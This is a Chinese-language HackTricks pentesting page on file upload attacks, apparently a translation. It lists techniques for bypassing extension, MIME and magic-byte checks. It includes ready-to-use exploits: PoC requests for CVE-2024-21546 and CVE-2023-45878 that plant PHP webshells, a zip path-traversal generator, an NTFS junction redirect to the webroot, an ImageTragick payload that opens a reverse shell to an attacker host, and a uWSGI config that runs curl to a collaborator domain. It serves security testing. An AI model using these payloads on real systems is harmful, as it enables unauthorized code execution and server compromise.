29 KiB
文件上传
{{#include ../../banners/hacktricks-training.md}}
文件上传 一般方法
其他有用的扩展名:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
绕过文件扩展名检查
- 如果适用,请检查****之前列出的扩展名。 也用一些大写字母进行测试: pHp, .pHP5, .PhAr ...
- 检查在执行扩展之前添加一个有效扩展名(也使用之前列出的扩展名):
- file.png.php
- file.png.Php5
- 尝试在末尾添加特殊字符。 你可以使用 Burp 对所有 ascii 和 Unicode 字符进行 bruteforce。 (注意你也可以尝试使用之前提到的扩展名)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- 尝试通过欺骗服务器端的扩展名解析器来绕过保护,使用像重复扩展名或在扩展名之间添加垃圾数据(如 null 字节)等技术。你也可以使用之前的扩展名来准备更好的 payload。
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- 对前面的检查再添加一层扩展名:
- file.png.jpg.php
- file.php%00.png%00.jpg
- 尝试将执行扩展名放在有效扩展名前面并希望服务器配置错误。(这在利用 Apache 错误配置时很有用,比如服务器可能会执行任何扩展名为 .php 的文件,即使文件名并不以 .php 结尾)
- ex: file.php.png
- 在 Windows 上使用 NTFS alternate data stream (ADS)。在这种情况下,会在被禁止的扩展名之后和被允许的扩展名之前插入一个冒号字符 ":"。结果会在服务器上创建一个具有被禁止扩展名的空文件(例如 "file.asax:.jpg")。该文件之后可能通过其他技术(例如使用其短文件名)进行编辑。模式 "::$data" 也可以用于创建非空文件。因此,在该模式后添加一个点字符也可能有助于绕过进一步的限制(例如 "file.asp::$data.")
- 尝试突破文件名长度限制。有效的扩展名被截断,而恶意的 PHP 保留。 AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
一些 upload handler 会从保存的文件名中修剪或规范化尾随的点字符。在 UniSharp 的 Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 之前的版本中,你可以通过以下方式绕过扩展名校验:
- 使用有效的图像 MIME 和 magic header(例如 PNG 的
\x89PNG\r\n\x1a\n
)。 - 将上传的文件命名为以 PHP 扩展名结尾并带有一个点,例如
shell.php.
。 - 服务器会删除尾随的点并持久化为
shell.php
,如果它被放在可以通过 web 访问的目录中(默认的 public storage,比如/storage/files/
),则会被执行。
最小 PoC(Burp Repeater):
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
然后访问已保存的路径(在 Laravel + LFM 中常见):
GET /storage/files/0xdf.php?cmd=id
缓解措施:
- 升级 unisharp/laravel-filemanager 至 ≥ 2.9.1。
- 在服务器端强制执行严格的允许列表并重新验证持久化的文件名。
- 从不可执行的位置提供上传的文件。
绕过 Content-Type、Magic Number、Compression 与 Resizing
- 通过将 Content-Type header 的 value 设置为:image/png , text/plain , application/octet-stream 来绕过 Content-Type 检查
- Content-Type 字典: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- 通过在文件开头添加 真实图片的字节 来绕过 magic number 检查(以迷惑 file 命令)。或者将 shell 放入 metadata:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
或者你也可以 直接将 payload 引入 图片:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- 如果你的图像被添加了压缩,例如使用一些常见的 PHP 库如 PHP-GD,之前的技术将无效。不过,你可以使用 PLTE chunk technique defined here 来插入一些能够在压缩后存活的文本。
- Github(含代码)
- 网页也可能在调整图像大小,例如使用 PHP-GD 的
imagecopyresized
或imagecopyresampled
函数。然而,你可以使用 IDAT chunk technique defined here 来插入一些能够在压缩后存活的文本。 - Github(含代码)
- 另一种让 payload 在图像缩放后存活 的技术,针对使用 PHP-GD 的
thumbnailImage
函数。你可以使用 tEXt chunk technique defined here 来插入一些能够在压缩后存活的文本。 - Github(含代码)
其他要检查的技巧
- 找到可将已上传文件重命名(以更改扩展名)的漏洞。
- 寻找 Local File Inclusion 漏洞以执行后门。
- 可能的信息泄露:
- 多次(并在同一时间)上传 相同的文件 并使用 相同的名称
- 上传一个名称与已存在的 文件 或 文件夹 相同的文件
- 上传名称为 "."、".." 或 "…" 的文件。例如,在 Windows 上的 Apache 中,如果应用将上传文件保存到 "/www/uploads/" 目录,"." 作为文件名会在 "/www/" 目录下创建一个名为 uploads 的文件。
- 上传在 NTFS(Windows)中可能无法轻易删除的文件,例如 "…:.jpg"。
- 在 Windows 中上传文件名包含非法字符(例如
|<>*?”
)的文件。 - 在 Windows 中上传使用保留(禁止)名称的文件,例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。
- 也可以尝试上传可执行文件(.exe)或 .html(看起来不那么可疑),当受害者意外打开时可以执行代码。
特殊扩展名技巧
如果你尝试向 PHP 服务器 上传文件,请查看 take a look at the .htaccess trick to execute code。
如果你尝试向 ASP server 上传文件,请查看 take a look at the .config trick to execute code。
.phar
文件类似于 java 的 .jar
,但用于 php,可以像 php 文件一样使用(用 php 执行,或在脚本中包含...)
.inc
扩展有时用于仅用于导入文件的 php 文件,所以在某些情况下,可能有人允许执行此扩展名。
Jetty RCE
如果你能将 XML 文件上传到 Jetty 服务器,你可以获得 RCE because **new .xml and .war are automatically processed。 因此,如下图所示,将 XML 文件上传到 $JETTY_BASE/webapps/
并期待拿到 shell!
uWSGI RCE
关于此漏洞的详细研究,请参阅原始研究: uWSGI RCE Exploitation.
如果能够修改 .ini
配置文件,uWSGI 服务器就可能被利用发生 Remote Command Execution (RCE) 漏洞。uWSGI 的配置文件使用一种特定语法来包含 “magic” 变量、占位符和操作符。值得注意的是 '@' 操作符(以 @(filename)
的形式使用)用于包含文件内容。在 uWSGI 支持的各种 scheme 中,"exec" scheme 特别强大,它允许从进程的标准输出读取数据。当处理 .ini
配置文件时,这个特性可以被滥用,用于 Remote Command Execution 或 Arbitrary File Write/Read。
考虑下面这个恶意的 uwsgi.ini
文件示例,它展示了多种 scheme:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
payload 的执行发生在配置文件解析期间。为了使配置被激活并解析,uWSGI 进程必须要么重启(可能是在崩溃之后或由于 Denial of Service attack),要么将该文件设置为 auto-reload。auto-reload 功能(如果启用)在检测到更改时会以指定间隔重新加载该文件。
理解 uWSGI 的配置文件解析机制的宽松性至关重要。具体而言,所讨论的 payload 可以被插入到二进制文件中(例如 image 或 PDF),这进一步扩大了潜在利用的范围。
Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Gibbon LMS 中的一个未认证的 endpoint 允许在 web root 内进行 arbitrary file write,从而通过放置一个 PHP 文件导致 pre-auth RCE。易受影响的版本:直到并包括 25.0.01。
- Endpoint:
/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
- Method: POST
- Required params:
img
: data-URI-like string:[mime];[name],[base64]
(服务器忽略 type/name,对尾部进行 base64-decodes)path
: destination filename relative to Gibbon install dir(例如,poc.php
或0xdf.php
)gibbonPersonID
: any non-empty value is accepted(例如,0000000001
)
Minimal PoC to write and read back a file:
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
放置一个最小的 webshell 并执行命令:
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
注意:
- 处理器在按
;
和,
分割后执行base64_decode($_POST["img"])
,然后将字节写入$absolutePath . '/' . $_POST['path']
,而不验证扩展名/类型。 - 生成的代码以 web 服务用户身份运行(例如,XAMPP Apache 在 Windows 上)。
此漏洞的参考资料包括 usd HeroLab advisory 和 NVD 条目。参见下方的 References 部分。
wget 文件上传/SSRF 技巧
在某些情况下,你可能会发现服务器使用 wget
来 下载文件,并允许你指定 URL。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保只会下载被允许的文件。但是,这个检查可以被绕过。
在 linux 中,文件名 的 最大 长度是 255,然而,wget 会将文件名截断为 236 个字符。你可以 *下载一个名为 "A"232+".php"+".gif" 的文件,这个文件名将 绕过 检查(在本例中 ".gif" 是一个 有效 的扩展名),但 wget
会 将文件重命名为 "A"*232+".php"。
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Note that 另一个选项 you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This 不会起作用 除非 wget is being used with the 参数 --trust-server-names
because wget will download the redirected page with the name of the file indicated in the original URL.
通过 NTFS junctions (Windows) 逃逸上传目录
(对于此攻击您需要对 Windows 机器的本地访问)当上传在 Windows 的按用户子文件夹下存储(例如 C:\Windows\Tasks\Uploads<id>\)并且您可以控制该子文件夹的创建/删除时,您可以将其替换为指向敏感位置(例如 webroot)的 directory junction。随后上传的文件将被写入目标路径,如果目标会解释 server‑side code,则可以实现代码执行。
Example flow to redirect uploads into XAMPP webroot:
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
说明
- mklink /J creates an NTFS directory junction (reparse point). The web server’s account must follow the junction and have write permission in the destination.
- This redirects arbitrary file writes; if the destination executes scripts (PHP/ASP), this becomes RCE.
- 防御:不要允许可写的上传根目录被攻击者控制在 C:\Windows\Tasks 或类似位置;阻止 junction 的创建;在服务器端验证扩展名;将上传存储在独立卷上或使用 deny‑execute ACLs。
工具
- Upload Bypass is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
使用 snprintf()
特性破坏上传索引(历史)
某些使用 snprintf()
或类似方法将单文件上传构建为多文件数组的旧上传处理器,可能会被诱导伪造 _FILES
结构。由于 snprintf()
行为的不一致性和截断,精心构造的单次上传可能在服务器端表现为多个索引的文件,混淆假定严格结构的逻辑(例如将其视为多文件上传并走上不安全的分支)。虽然现在较为小众,但这种 “index corruption” 模式偶尔会在 CTF 和旧代码库中重现。
从文件上传到其他漏洞
- 将 filename 设置为
../../../tmp/lol.png
并尝试实现 path traversal - 将 filename 设置为
sleep(10)-- -.jpg
,可能能够触发 SQL injection - 将 filename 设置为
<svg onload=alert(document.domain)>
以触发 XSS - 将 filename 设置为
; sleep 10;
来测试一些 command injection(更多 command injections tricks here) - XSS in image (svg) file upload
- JS file upload + XSS = Service Workers exploitation
- XXE in svg upload
- Open Redirect via uploading svg file
- Try different svg payloads from https://github.com/allanlw/svg-cheatsheet
- Famous ImageTrick vulnerability
- 如果你能指示 Web 服务器从某个 URL 抓取图片,你可以尝试滥用 SSRF。如果该 image 将被 saved 到某个 public 站点,你也可以指定一个来自 https://iplogger.org/invisible/ 的 URL,从而 窃取每位访问者的信息。
- XXE and CORS bypass with PDF-Adobe upload
- 特制 PDF 导致 XSS:以下页面演示了如何 inject PDF data to obtain JS execution(链接)。如果你可以上传 PDF,可以按给出的指示准备一些会执行任意 JS 的 PDF。
- 上传 the [eicar](https://secure.eicar.org/eicar.com.txt) 内容以检查服务器是否有任何 antivirus
- 检查上传文件时是否存在任何 size limit
Here’s a top 10 list of things that you can achieve by uploading (from here):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp Extension
{{#ref}} https://github.com/portswigger/upload-scanner {{#endref}}
魔术头字节
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
- JPG:
"\xff\xd8\xff"
Refer to https://en.wikipedia.org/wiki/List_of_file_signatures for other filetypes.
Zip/Tar 文件自动解压的上传
如果你能上传一个将在服务器内部被解压的 ZIP,你可以做两件事:
Symlink
上传一个包含指向其他文件的软链接的压缩包,然后访问解压后的文件时会访问到被链接的文件:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
在不同文件夹解压
在解压过程中意外在目录中创建文件是一个严重问题。尽管最初认为这种设置可能能够防止通过恶意文件上传进行 OS-level command execution,但 ZIP archive 格式对分层压缩的支持和目录遍历能力仍然可能被利用。这允许攻击者通过操纵目标应用的解压功能来绕过限制并逃离安全的上传目录。
用于生成此类文件的自动化利用脚本可在 evilarc on GitHub 获取。该工具的用法如下:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
另外,symlink trick with evilarc 是一种可行的选项。如果目标是要针对像 /flag.txt
这样的文件,应在你的系统中创建指向该文件的 symlink。这样可以确保 evilarc 在运行时不会遇到错误。
下面是用于创建恶意 zip 文件的 Python 代码示例:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Abusing compression for file spraying
有关更多细节,请查看原始帖子: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Creating a PHP Shell: PHP 代码被编写为执行通过
$_REQUEST
变量传递的命令。
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying and Compressed File Creation: 创建多个文件并将这些文件打包成一个 zip 存档。
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Modification with a Hex Editor or vi: 使用 vi 或十六进制编辑器修改 zip 内的文件名,将 "xxA" 改为 "../" 以实现目录遍历。
:set modifiable
:%s/xxA/../g
:x!
ImageTragic
将此内容以图像扩展名上传以利用该漏洞 (ImageMagick , 7.0.1-1)(参见 exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
在 PNG 中嵌入 PHP Shell
将 PHP Shell 嵌入 PNG 文件的 IDAT chunk 可以有效绕过某些图像处理操作。来自 PHP-GD 的函数 imagecopyresized
和 imagecopyresampled
在此情境中特别相关,因为它们分别常用于调整大小和重采样图像。嵌入的 PHP Shell 在这些操作下仍然不受影响的能力在某些用例中是一个显著的优势。
关于该技术的详细探讨(包括方法论和潜在应用)见下列文章:"Encoding Web Shells in PNG IDAT chunks"。该资源提供了对该过程及其影响的全面理解。
More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Polyglot Files
Polyglot files 在网络安全中是独特的工具,像变色龙一样可以同时作为多种文件格式合法存在。一个有趣的例子是 GIFAR,它既能作为 GIF,又能作为 RAR 归档。此类文件不限于这种组合;像 GIF + JS 或 PPT + JS 的组合也可行。
Polyglot files 的核心用途在于其绕过基于文件类型筛查的安全措施的能力。许多应用通常只允许上传特定文件类型(如 JPEG、GIF 或 DOC),以降低来自潜在危险格式(例如 JS、PHP 或 Phar 文件)的风险。然而,polyglot 通过同时满足多种文件格式的结构要求,能够悄然绕过这些限制。
尽管适应性强,polyglots 仍有局限。例如,虽然一个 polyglot 可能同时具备 PHAR(PHp ARchive)和 JPEG 的特性,但其能否成功上传可能取决于平台对文件扩展名的策略。如果系统对允许的扩展名限制严格,polyglot 的结构双重性本身可能不足以保证上传成功。
More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
像 PDF 一样上传有效的 JSON
How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from this blog post):
mmmagic
library:只要%PDF
魔术字节位于前 1024 字节内,就被视为有效(示例见文章)pdflib
library:在 JSON 的某个字段内加入伪造的 PDF 格式,让该库认为这是一个 pdf(示例见文章)file
binary:它最多读取文件的 1048576 字节。只需创建一个比这更大的 JSON,使其无法将内容解析为 json,然后在该 JSON 内放入真实 PDF 的初始部分,file
就会认为这是一个 PDF
References
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
- https://blog.doyensec.com/2025/01/09/cspt-file-upload.html
- usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)
- NVD – CVE-2023-45878
- 0xdf – HTB: TheFrizz
- The Art of PHP: CTF‑born exploits and techniques
- CVE-2024-21546 – NVD entry
- PoC gist for LFM .php. bypass
- 0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)
- HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM
- Microsoft – mklink (command reference)
{{#include ../../banners/hacktricks-training.md}}